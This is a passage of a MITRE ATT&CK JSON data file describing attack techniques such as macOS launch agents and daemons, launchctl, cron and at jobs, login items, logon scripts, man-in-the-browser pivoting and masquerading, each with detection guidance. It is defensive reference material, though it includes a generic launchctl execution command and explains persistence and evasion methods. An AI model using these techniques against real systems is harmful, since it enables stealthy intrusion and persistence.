                    "source_name": "Microsoft LSA Protection Mar 2014"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.",
                    "source_name": "Microsoft DLL Security"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "x_mitre_contributors": [
                "Vincent Le Toux"
            ],
            "x_mitre_data_sources": [
                "API monitoring",
                "DLL monitoring",
                "File monitoring",
                "Kernel drivers",
                "Loaded DLLs",
                "Process Monitoring"
            ],
            "x_mitre_detection": "With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.\n\nUtilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_remote_support": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "execution",
                    "kill_chain_name": "mitre-attack"
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                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
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            "modified": "2018-10-17T00:14:20.652Z",
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "Per Apple\u2019s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories  (Citation: Sofacy Komplex Trojan)  (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user\u2019s directory structure) or when any user logs in (which requires administrator privileges).",
            "external_references": [
                {
                    "external_id": "T1159",
                    "url": "https://attack.mitre.org/techniques/T1159",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
                    "source_name": "AppleDocs Launch Agent Daemons"
                },
                {
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "source_name": "OSX Keydnap malware"
                },
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "source_name": "Antiquated Mac Malware"
                },
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                    "source_name": "OSX.Dok Malware"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "source_name": "Sofacy Komplex Trojan"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "source_name": "Methods of Mac Malware Persistence"
                },
                {
                    "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf",
                    "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.",
                    "source_name": "OSX Malware Detection"
                },
                {
                    "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
                    "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
                    "source_name": "OceanLotus for OS X"
                }
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Process Monitoring"
            ],
            "x_mitre_detection": "Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\u2019s  KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.",
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
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            "modified": "2018-10-17T00:14:20.652Z",
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            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
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            "id": "attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Launch Daemon",
            "description": "Per Apple\u2019s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software  (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon\u2019s executable and gain persistence or Privilege Escalation.",
            "external_references": [
                {
                    "external_id": "T1160",
                    "url": "https://attack.mitre.org/techniques/T1160",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
                    "source_name": "AppleDocs Launch Agent Daemons"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "source_name": "Methods of Mac Malware Persistence"
                },
                {
                    "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf",
                    "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.",
                    "source_name": "OSX Malware Detection"
                },
                {
                    "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf",
                    "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
                    "source_name": "WireLurker"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Process Monitoring",
                "File monitoring"
            ],
            "x_mitre_detection": "Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.",
            "x_mitre_effective_permissions": [
                "root"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "privilege-escalation",
                    "kill_chain_name": "mitre-attack"
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            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
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            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Launchctl",
            "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made  (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\"</code>. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.",
            "external_references": [
                {
                    "external_id": "T1152",
                    "url": "https://attack.mitre.org/techniques/T1152",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "source_name": "Sofacy Komplex Trojan"
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            "object_marking_refs": [
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Process Monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_detection": "Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.",
            "x_mitre_defense_bypassed": [
                "Application whitelisting",
                "Process whitelisting",
                "Whitelisting by file name or path"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_remote_support": false,
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "execution",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                }
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Local Job Scheduling",
            "description": "On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n### cron\n\nSystem-wide cron jobs are installed by modifying <code>/etc/crontab</code> file, <code>/etc/cron.d/</code> directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.",
            "external_references": [
                {
                    "external_id": "T1168",
                    "url": "https://attack.mitre.org/techniques/T1168",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html",
                    "description": "Apple. (n.d.). Retrieved July 17, 2017.",
                    "source_name": "AppleDocs Scheduling Timed Jobs"
                },
                {
                    "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/",
                    "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.",
                    "source_name": "Janicab"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "source_name": "Methods of Mac Malware Persistence"
                },
                {
                    "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "source_name": "Malware Persistence on OS X"
                },
                {
                    "url": "https://linux.die.net/man/5/crontab",
                    "description": "Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December 19, 2017.",
                    "source_name": "Die.net Linux crontab Man Page"
                },
                {
                    "url": "https://linux.die.net/man/1/at",
                    "description": "Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December 19, 2017.",
                    "source_name": "Die.net Linux at Man Page"
                },
                {
                    "url": "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/",
                    "description": "Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan hiding itself with an embedded rootkit. Retrieved January 8, 2018.",
                    "source_name": "Avast Linux Trojan Cron Persistence"
                }
            ],
            "object_marking_refs": [
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            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Process Monitoring"
            ],
            "x_mitre_contributors": [
                "Anastasios Pingios"
            ],
            "x_mitre_detection": "Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "User",
                "root"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
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                    "phase_name": "execution",
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                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Login Item",
            "description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don\u2019t all have to since there is an option to \u2018Hide\u2019 the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method <code> SMLoginItemSetEnabled </code> can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well  (Citation: Adding Login Items).",
            "external_references": [
                {
                    "external_id": "T1162",
                    "url": "https://attack.mitre.org/techniques/T1162",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html",
                    "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.",
                    "source_name": "Adding Login Items"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "source_name": "Methods of Mac Malware Persistence"
                },
                {
                    "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "source_name": "Malware Persistence on OS X"
                },
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                    "source_name": "OSX.Dok Malware"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "API monitoring"
            ],
            "x_mitre_detection": "All the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and whitelisted for known good applications. Otherwise, Login Items are located in <code> Contents/Library/LoginItems </code> within an application bundle, so these paths should be monitored as well  (Citation: Adding Login Items). Monitor process execution resulting from login actions for unusual or unknown applications.",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Logon Scripts",
            "description": "### Windows\n\nWindows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.\n\nIf adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.\n\n### Mac\n\nMac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.",
            "external_references": [
                {
                    "external_id": "T1037",
                    "url": "https://attack.mitre.org/techniques/T1037",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-564",
                    "url": "https://capec.mitre.org/data/definitions/564.html",
                    "source_name": "capec"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx",
                    "description": "Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016.",
                    "source_name": "TechNet Logon Scripts"
                },
                {
                    "url": "https://support.apple.com/de-at/HT2420",
                    "description": "Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved July 17, 2017.",
                    "source_name": "creating login hook"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Process monitoring"
            ],
            "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties.",
            "x_mitre_platforms": [
                "macOS",
                "Windows"
            ],
            "x_mitre_system_requirements": [
                "Write access to system or domain logon scripts"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "lateral-movement",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:38.910Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Man in the Browser",
            "description": "Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)\n\nBrowser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)",
            "external_references": [
                {
                    "external_id": "T1185",
                    "url": "https://attack.mitre.org/techniques/T1185",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://cobaltstrike.com/downloads/csmanual38.pdf",
                    "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.",
                    "source_name": "cobaltstrike manual"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Man-in-the-browser",
                    "description": "Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018.",
                    "source_name": "Wikipedia Man in the Browser"
                },
                {
                    "url": "https://www.cobaltstrike.com/help-browser-pivoting",
                    "description": "Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.",
                    "source_name": "Cobalt Strike Browser Pivot"
                },
                {
                    "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses",
                    "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.",
                    "source_name": "ICEBRG Chrome Extensions"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Justin Warner, ICEBRG"
            ],
            "x_mitre_data_sources": [
                "Authentication logs",
                "Packet capture",
                "Process Monitoring",
                "API monitoring"
            ],
            "x_mitre_detection": "This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "collection",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-01-16T16:13:52.465Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Masquerading",
            "description": "Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.\n\nOne variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs. This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.\n\n\n### Windows\nIn another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)\n\nAn example of abuse of trusted locations in Windows would be the <code>C:\\Windows\\System32</code> directory. Examples of trusted binary names that can be given to malicious binares include \"explorer.exe\" and \"svchost.exe\".\n\n### Linux\nAnother variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten)\n\nAn example of abuse of trusted locations in Linux  would be the <code>/bin</code> directory. Examples of trusted binary names that can be given to malicious binares include \"rsyncd\" and \"dbus-inotifier\". (Citation: Fysbis Palo Alto Analysis)  (Citation: Fysbis Dr Web Analysis)",
            "external_references": [
                {
                    "external_id": "T1036",
                    "url": "https://attack.mitre.org/techniques/T1036",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://www.endgame.com/blog/how-hunt-masquerade-ball",
                    "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.",
                    "source_name": "Endgame Masquerade Ball"
                },
                {
                    "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke",
                    "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
                    "source_name": "F-Secure CozyDuke"
                },
                {
                    "url": "https://www.welivesecurity.com/2016/03/30/meet-remaiten-a-linux-bot-on-steroids-targeting-routers-and-potentially-other-iot-devices/",
                    "description": "Michal Malik AND Marc-Etienne M.L\u00e9veill\u00e9. (2016, March 30). Meet Remaiten \u2013 a Linux bot on steroids targeting routers and potentially other IoT devices. Retrieved September 7, 2017.",
                    "source_name": "Remaiten"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/",
                    "description": "Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy\u2019s Linux Backdoor. Retrieved September 10, 2017.",
                    "source_name": "Fysbis Palo Alto Analysis"
                },
                {
                    "url": "https://vms.drweb.com/virus/?i=4276269",
                    "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.",
                    "source_name": "Fysbis Dr Web Analysis"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "ENDGAME",
                "Bartosz Jerzman"
            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "Process monitoring",
                "Binary file metadata"
            ],
            "x_mitre_defense_bypassed": [
                "Whitelisting by file name or path"
            ],
            "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the binary name on disk and the binary's resource section, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball)",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
